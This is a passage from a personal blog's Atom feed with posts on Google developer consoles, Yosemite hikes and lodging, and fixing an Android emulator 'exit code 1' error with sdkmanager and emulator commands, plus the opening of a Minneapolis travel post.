]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hiking" term="hiking" label="hiking"/><category scheme="https://ashishb.net/tag/national-park" term="national-park" label="national-park"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Consoles by Google</title><link href="https://ashishb.net/programming/consoles-by-google/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/how-many-source-code-repositories-should-a-startup-have/?utm_source=atom_feed" rel="related" type="text/html" title="How many source-code repositories should a startup have"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/file-size-should-always-be-of-long-type/?utm_source=atom_feed" rel="related" type="text/html" title='File size should always be of "long" type'/><link href="https://ashishb.net/programming/gdb/?utm_source=atom_feed" rel="related" type="text/html" title="Basic GDB Tutorial"/><link href="https://ashishb.net/programming/gcc-hacks/?utm_source=atom_feed" rel="related" type="text/html" title="GCC Hacks"/><id>https://ashishb.net/programming/consoles-by-google/</id><author><name>Ashish Bhatia</name></author><published>2020-04-04T16:00:16+00:00</published><updated>2020-04-04T16:00:16+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how one developer juggles 7 Google consoles, from Analytics to Firebase, to enhance website performance and release Android apps efficiently.</blockquote><p>A single developer has to sometimes deal with 7 different consoles by the same company&hellip;</p>
<ol>
<li>Google Analytics console - to see website analytics</li>
<li>Google Cloud console - to access Google Cloud Platform</li>
<li>Google Developers console - to configure and access Google APIs</li>
<li>Google Firebase console - to create and Firebase APIs</li>
<li>Google Play Developer console - to release Android Apps on Google Play</li>
<li>Google Stackdriver console - to see Google Cloud Platform logs</li>
<li>Google Webmaster console - to see Google search-related information about your website</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/programming" term="programming" label="programming"/></entry><entry><title type="html">Things to do in Yosemite National Park</title><link href="https://ashishb.net/travel/yosemite-national-park/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/glacier-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Glacier National Park in 4 days"/><link href="https://ashishb.net/travel/lassen-volcanic-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking in Lassen Volcanic National Park, California"/><link href="https://ashishb.net/travel/lava-beds-national-monument/?utm_source=atom_feed" rel="related" type="text/html" title="Cave Exploration at Lava Beds National Monument"/><link href="https://ashishb.net/travel/zion-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Two days at Zion National Park"/><id>https://ashishb.net/travel/yosemite-national-park/</id><author><name>Ashish Bhatia</name></author><published>2020-03-14T16:00:09+00:00</published><updated>2020-03-14T16:00:09+00:00</updated><content type="html"><![CDATA[<blockquote>Conquer the 17-mile Half Dome hike for breathtaking views and an adrenaline-pumping climb, or opt for the scenic Clouds Rest Trail for panoramic vistas.</blockquote><h2 id="strenuous-hikes">Strenuous hikes</h2>
<h3 id="half-dome-hike">  
    
    
<a href="https://www.nps.gov/yose/planyourvisit/halfdome.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Half Dome</a> hike</h3>
<p>17-miles 12-hours with a breathtaking dangerous climb holding chains on the majestic half dome at the end. This hike requires a permit for the final half dome climb.</p>
<figure>
    
    <a href="me_climbing_halfdome_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="me_climbing_halfdome_resized-768x1024.jpg"
         alt="A person climbing Half Dome, a granite dome in Yosemite National Park, requiring a permit for the final ascent" width="900"/> </a>
</figure>

<h3 id="the-clouds-rest-trail">  
    
    
<a href="https://www.yosemitehikes.com/tioga-road/clouds-rest/clouds-rest.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Clouds Rest Trail</a></h3>
<p>12-miles 7-hours hike. The trail ends at a point higher than the Half dome. One gets a great view of the park as well as the Half dome from here.</p>
<figure>
    
    <a href="IMG_20191029_143647_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20191029_143647_resized-1024x768.jpg"
         alt="A scenic viewpoint overlooking a park with a view of the Half Dome" width="900"/> </a>
</figure>

<p>I would recommend doing only one of these two hikes in a single trip.</p>
<h2 id="scenic-viewpoints-and-small-hikes">Scenic viewpoints and Small hikes</h2>
<h3 id="yosemite-falls">Yosemite falls</h3>
<p>The lower falls are easily accessible with a short walk. The upper falls require a 6-mile hike. I only did the former.</p>
<figure>
    
    <a href="IMG_20191030_130441_resized-e1582454147932-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20191030_130441_resized-e1582454147932-768x1024.jpg"
         alt="A scenic waterfall is seen cascading over rocky cliffs surrounded by green foliage, highlighting Bridalveil Falls&#39; beauty" width="900"/> </a>
</figure>

<h3 id="bridalveil-falls">Bridalveil Falls</h3>
<p>Another gorgeous falls accessible with a short 10-minute walk.</p>
<figure>
    
    <a href="IMG_20191030_141148_resized-e1572603923431-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20191030_141148_resized-e1572603923431-768x1024.jpg"
         alt="Bridalveil Falls" width="900"/> </a>
</figure>

<h3 id="glacier-point">Glacier Point</h3>
<p>  
    
    
<a href="https://www.nps.gov/yose/planyourvisit/glacierpoint.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Glacier Point</a> provides a great view of the half dome for non-hikers. It is located about an hour away from Yosemite Valley and close to south exit towards Fresno. For hikers, I would recommend doing Sentinel Dome or Taft point; both are one-mile hikes with starting point about 2-miles drive from the Glacier Point.</p>
<figure>
    
    <a href="IMG_20191030_160949_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20191030_160949_resized-1024x768.jpg"
         alt="A forest scene showcasing tall, dense sequoia trees, with a hiking path winding through them. It highlights the Mariposa Grove of Giant Sequoias, a popular hiking destination." width="900"/> </a>
</figure>

<h3 id="mariposa-grove-of-giant-sequoias">Mariposa Grove of Giant Sequoias</h3>
<p>  
    
    
<a href="https://www.nps.gov/yose/planyourvisit/mg.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mariposa Grove</a> has multiple hikes ranging from short walks to 7-mile hikes where one can see the giant sequoias. Due to time constraints, I only did the short hike here.</p>
<h2 id="where-to-stay">Where to stay</h2>
<p>If you are doing in the Half Dome, then stay at the Yosemite Valley the previous night to start hiking early morning (4-5 AM). Curry Village has the cheapest lodging, and the camps are located conveniently inside the Yosemite valley. Book well in   
    
    
<a href="https://www.travelyosemite.com/lodging/curry-village/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">advance</a>.</p>
<p>The   
    
    
<a href="https://www.nps.gov/yose/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">park</a> is huge. Roads wind around mountains and hilly. Driving inside the park can consume significant time, I would recommend planning for that in advance.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hiking" term="hiking" label="hiking"/><category scheme="https://ashishb.net/tag/national-park" term="national-park" label="national-park"/><category scheme="https://ashishb.net/tag/california" term="california" label="california"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Troubleshooting Android Emulator: Process finished with exit code 1</title><link href="https://ashishb.net/programming/troublshooting-android-emulator-emulator-process-finished-with-exit-code-1/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/circle-ci-vs-travis-ci/?utm_source=atom_feed" rel="related" type="text/html" title="Circle CI vs Travis CI"/><link href="https://ashishb.net/programming/android-fragment-related-pitfalls-and-how-to-avoid-them/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Fragment related pitfalls and how to avoid them"/><link href="https://ashishb.net/programming/android-handling-jpeg-images-with-exif-orientation-flags/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Handling JPEG images with Exif orientation flags"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/testing-resumable-uploads/?utm_source=atom_feed" rel="related" type="text/html" title="Testing resumable uploads"/><id>https://ashishb.net/programming/troublshooting-android-emulator-emulator-process-finished-with-exit-code-1/</id><author><name>Ashish Bhatia</name></author><published>2020-03-07T17:00:40+00:00</published><updated>2020-03-07T17:00:40+00:00</updated><content type="html"><![CDATA[<blockquote>Troubleshoot the “Emulator: Process finished with exit code 1” error on Android Studio. Learn to debug and resolve missing AVD system images and emulator issues.</blockquote><h2 id="emulator-process-finished-with-exit-code-1">Emulator: Process finished with exit code 1</h2>
<p>You opened AVD Manager in Android Studio and tried to start an AVD, you got
&ldquo;Emulator: Process finished with exit code 1&rdquo;. Following are the steps to debug
this</p>
<ol>
<li>
<p>Find out the name of the emulator.
Click the down arrow 🔽 which is to the right of play arrow ▶️, to find out the name of the AVD. Let&rsquo;s say the name is &ldquo;Nexus_5X_API_28_x86&rdquo;.</p>
</li>
<li>
<p>Try starting the AVD directly from command-line
It fails with another cryptic error, but that&rsquo;s at least more actionable</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#719e07">$(</span>dirname <span style="color:#719e07">$(</span>which android<span style="color:#719e07">))</span>/emulator -avd Nexus_5X_API_28_x86
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>PANIC: Broken AVD system path. Check your ANDROID_SDK_ROOT value <span style="color:#719e07">[</span>/opt/android_sdk<span style="color:#719e07">]</span>!</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Let&rsquo;s retry in the verbose mode to see a detailed error</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#719e07">$(</span>dirname <span style="color:#719e07">$(</span>which android<span style="color:#719e07">))</span>/emulator -avd Nexus_5X_API_28_x86 -verbose
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>Not a directory: /opt/android_sdk/system-images/android-28/google_apis/x86/</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>So, the system image is missing.</p>
</li>
<li>
<p>Install system image</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#586e75"># List all possible system images.</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">$(</span>dirname <span style="color:#719e07">$(</span>which android<span style="color:#719e07">))</span>/bin/sdkmanager --list
</span></span><span style="display:flex;"><span><span style="color:#586e75"># List the images we are interested in.</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">$(</span>dirname <span style="color:#719e07">$(</span>which android<span style="color:#719e07">))</span>/bin/sdkmanager --list | ack google_apis | ack android-28 | ack x86
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Install the right one using</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">$(</span>dirname <span style="color:#719e07">$(</span>which android<span style="color:#719e07">))</span>/bin/sdkmanager --install <span style="color:#2aa198">&#39;system-images;android-28;google_apis;x86&#39;</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Now try starting the AVD again.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#719e07">$(</span>dirname <span style="color:#719e07">$(</span>which android<span style="color:#719e07">))</span>/emulator -avd Nexus_5X_API_28_x86 -verbose
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>emulator:Probing program: /opt/android_sdk/tools/emulator64-x86
</span></span><span style="display:flex;"><span>emulator:Probing program: /opt/android_sdk/tools/emulator-x86
</span></span><span style="display:flex;"><span>PANIC: Missing emulator engine program <span style="color:#719e07">for</span> <span style="color:#2aa198">&#39;x86&#39;</span> CPU.</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Turns out there is another version of the emulator installed in $(dirname $(dirname $(which android)))/emulator/emulator. And the emulator I was using is a stray one.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#586e75"># This works</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">$(</span>dirname <span style="color:#719e07">$(</span>dirname <span style="color:#719e07">$(</span>which android<span style="color:#719e07">)))</span>/emulator/emulator -avd Nexus_5X_API_28_x86 -verbose</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/android-development" term="android-development" label="android-development"/><category scheme="https://ashishb.net/tag/emulator" term="emulator" label="emulator"/></entry><entry><title type="html">Two days in Minneapolis, Minnesota</title><link href="https://ashishb.net/travel/minneapolis-minnesota/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/glacier-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Glacier National Park in 4 days"/><link href="https://ashishb.net/travel/lassen-volcanic-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking in Lassen Volcanic National Park, California"/><link href="https://ashishb.net/travel/yosemite-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Yosemite National Park"/><link href="https://ashishb.net/travel/miami/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Miami Florida"/><link href="https://ashishb.net/travel/louisville-kentucky/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Louisville, Kentucky"/><id>https://ashishb.net/travel/minneapolis-minnesota/</id><author><name>Ashish Bhatia</name></author><published>2020-02-15T17:00:22+00:00</published><updated>2020-02-15T17:00:22+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the best of Minneapolis with visits to the Mall of America, Minnehaha Falls, and stunning art scenes, all easily explored via public transport.</blockquote><h3 id="day-1">Day 1</h3>
<p>If you are arriving at MSP airport, then start your journey with the   
    
    
